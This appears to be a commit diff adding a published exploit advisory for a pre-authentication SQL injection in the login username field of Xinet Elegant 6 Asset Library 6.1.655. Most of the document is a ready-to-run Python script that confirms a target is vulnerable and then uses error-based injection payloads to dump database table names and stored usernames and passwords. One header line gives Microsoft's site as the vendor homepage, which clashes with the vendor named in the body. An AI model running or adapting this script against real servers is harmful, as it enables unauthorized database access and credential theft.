|
| 1 | +# Exploit Title: Xinet Elegant 6 Asset Library Web Interface 6.1.655 - 'username' SQL Injection |
| 2 | +# Discovery by: hyp3rlinx |
| 3 | +# Date: 2019-12-02 |
| 4 | +# Vendor Homepage: www.microsoft.com |
| 5 | +# Tested Version: v6.1.655 |
| 6 | +# CVE: N/A |
| 7 | + |
| 8 | +[+] Credits: hyp3rlinx |
| 9 | +[+] Website: hyp3rlinx.altervista.org |
| 10 | +[+] Source: http://hyp3rlinx.altervista.org/advisories/NAPC-XINET-ELEGANT-6-ASSET-LIBRARY-WEB-INTERFACE-PRE-AUTH-SQL-INJECTION.txt |
| 11 | +[+] ISR: ApparitionSec |
| 12 | + |
| 13 | + |
| 14 | +[Vendor] |
| 15 | +www.napc.com |
| 16 | + |
| 17 | + |
| 18 | +[Product] |
| 19 | +Xinet Elegant 6 Asset Library Web Interface v6.1.655 |
| 20 | + |
| 21 | +Web based interface for xinet asset management solution. |
| 22 | + |
| 23 | + |
| 24 | +[Vulnerability Type] |
| 25 | +Pre-Auth SQL Injection |
| 26 | + |
| 27 | + |
| 28 | +[CVE Reference] |
| 29 | +CVE-2019-19245 |
| 30 | + |
| 31 | + |
| 32 | +[Security Issue] |
| 33 | +NAPC Xinet (interface) Elegant 6 Asset Library v6.1.655 allows Pre-Authentication Error based SQL Injection via the /elegant6/login LoginForm[username] field when |
| 34 | +double quotes are used. The vulnerable version seems to be old, but it may still be possible to still find it deployed as I have. |
| 35 | + |
| 36 | +Vulnerable Parameter: LoginForm[username] (POST) Method. |
| 37 | + |
| 38 | + |
| 39 | +[Exploit/POC] |
| 40 | +import requests,time,re,sys,argparse |
| 41 | + |
| 42 | +#NAPC Xinet Elegant 6 Asset Library v6.1.655 |
| 43 | +#Pre-Auth SQL Injection 0day Exploit |
| 44 | +#By hyp3rlinx |
| 45 | +#ApparitionSec |
| 46 | +#============== |
| 47 | +#This will dump tables, usernames and passwords in vulnerable versions |
| 48 | +#REQUIRE PARAMS: LoginForm[password]=&LoginForm[rememberMe]=0&LoginForm[username]=SQL&yt0 |
| 49 | +#SQL INJECTION VULN PARAM --> LoginForm[username] |
| 50 | +#================================================ |
| 51 | + |
| 52 | +IP="" |
| 53 | +PORT="80" |
| 54 | +URL="" |
| 55 | +NUM_INJECTS=20 |
| 56 | +k=1 |
| 57 | +j=0 |
| 58 | +TABLES=False |
| 59 | +CREDS=False |
| 60 | +SHOW_SQL_ERROR=False |
| 61 | + |
| 62 | + |
| 63 | +def vuln_ver_chk(): |
| 64 | + global IP, PORT |
| 65 | + TARGET = "http://"+IP+":"+PORT+"/elegant6/login" |
| 66 | + response = requests.get(TARGET) |
| 67 | + if re.findall(r'\bElegant",appVersion:"6.1.655\b', response.content): |
| 68 | + print "[+] Found vulnerable NAPC Elegant 6 Asset Library version 6.1.655." |
| 69 | + return True |
| 70 | + print "[!] Version not vulnerable :(" |
| 71 | + return False |
| 72 | + |
| 73 | + |
| 74 | +def sql_inject_request(SQL): |
| 75 | + |
| 76 | + global IP, PORT |
| 77 | + URL = "http://"+IP+":"+PORT+"/elegant6/login" |
| 78 | + |
| 79 | + tmp="" |
| 80 | + headers = {'User-Agent': 'Mozilla/5.0'} |
| 81 | + payload = {'LoginForm[password]':'1','LoginForm[rememberMe]':'0','LoginForm[username]':SQL} |
| 82 | + session = requests.Session() |
| 83 | + |
| 84 | + res = session.post(URL,headers=headers,data=payload) |
| 85 | + idx = res.content.find('CDbCommand') # Start of SQL Injection Error in response |
| 86 | + idx2 = res.content.find('key 1') # End of SQL Injection Error in response |
| 87 | + |
| 88 | + return res.content[idx : idx2+3] |
| 89 | + |
| 90 | + |
| 91 | + |
| 92 | +#Increments SQL LIMIT clause 0,1, 1,2, 1,3 etc |
| 93 | +def inc(): |
| 94 | + global k,j |
| 95 | + while j < NUM_INJECTS: |
| 96 | + j+=1 |
| 97 | + if k !=1: |
| 98 | + k+=1 |
| 99 | + return str(j)+','+str(k) |
| 100 | + |
| 101 | + |
| 102 | +def tidy_up(results): |
| 103 | + global CREDS |
| 104 | + idx = results.find("'") |
| 105 | + if idx != -1: |
| 106 | + idx2 = results.rfind("'") |
| 107 | + if not CREDS: |
| 108 | + return results[idx + 1: idx2 -2] |
| 109 | + else: |
| 110 | + return results[idx + 2: idx2] |
| 111 | + |
| 112 | + |
| 113 | + |
| 114 | +def breach(i): |
| 115 | + global k,j,NUM_INJECTS,SHOW_SQL_ERROR |
| 116 | + result="" |
| 117 | + |
| 118 | + #Dump Usernames & Passwords |
| 119 | + if CREDS: |
| 120 | + if i % 2 == 0: |
| 121 | + target='username' |
| 122 | + else: |
| 123 | + target='password' |
| 124 | + |
| 125 | + SQL=('"and (select 1 from(select count(*),concat((select(select concat(0x2b,'+target+'))' |
| 126 | + 'from user limit '+str(i)+', 1),floor(rand(0)*2))x from user group by x)a)-- -') |
| 127 | + |
| 128 | + if not SHOW_SQL_ERROR: |
| 129 | + result = tidy_up(sql_inject_request(SQL)) |
| 130 | + else: |
| 131 | + result = sql_inject_request(SQL)+"\n" |
| 132 | + print "[+] Dumping "+target+": "+result |
| 133 | + |
| 134 | + #Dump Tables |
| 135 | + if TABLES: |
| 136 | + while j < NUM_INJECTS: |
| 137 | + nums = inc() |
| 138 | + SQL=('"and (select 1 from (Select count(*),Concat((select table_name from information_schema.tables where table_schema=database()' |
| 139 | + 'limit '+nums+'),0x3a,floor(rand(0)*2))y from information_schema.tables group by y) x)-- -') |
| 140 | + |
| 141 | + if not SHOW_SQL_ERROR: |
| 142 | + result = tidy_up(sql_inject_request(SQL)) |
| 143 | + else: |
| 144 | + result = sql_inject_request(SQL) + "\n" |
| 145 | + |
| 146 | + print "[+] Dumping Table... " +result |
| 147 | + time.sleep(0.3) |
| 148 | + |
| 149 | + |
| 150 | + |
| 151 | +def parse_args(): |
| 152 | + parser = argparse.ArgumentParser() |
| 153 | + parser.add_argument("-i", "--ip_address", help="<TARGET-IP>.") |
| 154 | + parser.add_argument("-p", "--port", help="Port, Default is 80") |
| 155 | + parser.add_argument("-t", "--get_tables", nargs="?", const="1", help="Dump Database Tables.") |
| 156 | + parser.add_argument("-c", "--creds", nargs="?", const="1", help="Dump Database Credentials.") |
| 157 | + parser.add_argument("-m", "--max_injects", nargs="?", const="1", help="Max SQL Injection Attempts, Default is 20.") |
| 158 | + parser.add_argument("-s", "--show_sql_errors", nargs="?", const="1", help="Display SQL Errors, Default is Clean Dumps.") |
| 159 | + parser.add_argument("-e", "--examples", nargs="?", const="1", help="Show script usage.") |
| 160 | + return parser.parse_args() |
| 161 | + |
| 162 | + |
| 163 | + |
| 164 | +def usage(): |
| 165 | + print "Dump first ten rows of usernames and passwords" |
| 166 | + print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -c -m 10\n" |
| 167 | + print "\nDump first five rows of database tables and show SQL errors" |
| 168 | + print "NAPC-Elegant-6-SQL-Exploit.py -i <TARGET-IP> -t -m 5 -s\n" |
| 169 | + exit(0) |
| 170 | + |
| 171 | + |
| 172 | +def main(args): |
| 173 | + |
| 174 | + global TABLES,CREDS,URL,IP,NUM_INJECTS,SHOW_SQL_ERROR |
| 175 | + |
| 176 | + if args.ip_address: |
| 177 | + IP=args.ip_address |
| 178 | + |
| 179 | + if args.port: |
| 180 | + PORT=args.port |
| 181 | + |
| 182 | + if args.get_tables: |
| 183 | + TABLES=True |
| 184 | + |
| 185 | + if args.creds: |
| 186 | + CREDS=True |
| 187 | + |
| 188 | + if args.max_injects: |
| 189 | + NUM_INJECTS = int(args.max_injects) |
| 190 | + |
| 191 | + if args.show_sql_errors: |
| 192 | + SHOW_SQL_ERROR=True |
| 193 | + |
| 194 | + if args.examples: |
| 195 | + usage() |
| 196 | + |
| 197 | + if vuln_ver_chk(): |
| 198 | + for i in range(0, NUM_INJECTS): |
| 199 | + breach(i) |
| 200 | + time.sleep(0.3) |
| 201 | + |
| 202 | + |
| 203 | +if __name__=='__main__': |
| 204 | + |
| 205 | + parser = argparse.ArgumentParser() |
| 206 | + |
| 207 | + print "NAPC Elegant 6 Asset Library v6.1.655" |
| 208 | + print "Pre-Authorization SQL Injection 0day Exploit" |
| 209 | + print "Discovery / eXploit By hyp3rlinx" |
| 210 | + print "ApparitionSec\n" |
| 211 | + |
| 212 | + time.sleep(0.5) |
| 213 | + |
| 214 | + if len(sys.argv)== 1: |
| 215 | + parser.print_help(sys.stderr) |
| 216 | + sys.exit(0) |
| 217 | + |
| 218 | + main(parse_args()) |
| 219 | + |
| 220 | + |
| 221 | + |
| 222 | +[Network Access] |
| 223 | +Remote |
| 224 | + |
| 225 | + |
| 226 | +[POC Video URL] |
| 227 | +https://www.youtube.com/watch?v=mdw_sPlshmI |
| 228 | + |
| 229 | + |
| 230 | +[Severity] |
| 231 | +Critical |
| 232 | + |
| 233 | + |
| 234 | +[Disclosure Timeline] |
| 235 | +Vendor Notification: November 13, 2018 |
| 236 | +Second attempt: October 12, 2019 |
| 237 | +November 29, 2019 : Public Disclosure |
| 238 | + |
| 239 | + |
| 240 | + |
| 241 | +[+] Disclaimer |
| 242 | +The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. |
| 243 | +Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and |
| 244 | +that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit |
| 245 | +is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility |
| 246 | +for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information |
| 247 | +or exploits by the author or elsewhere. All content (c). |
| 248 | + |
| 249 | +hyp3rlinx |
0 commit comments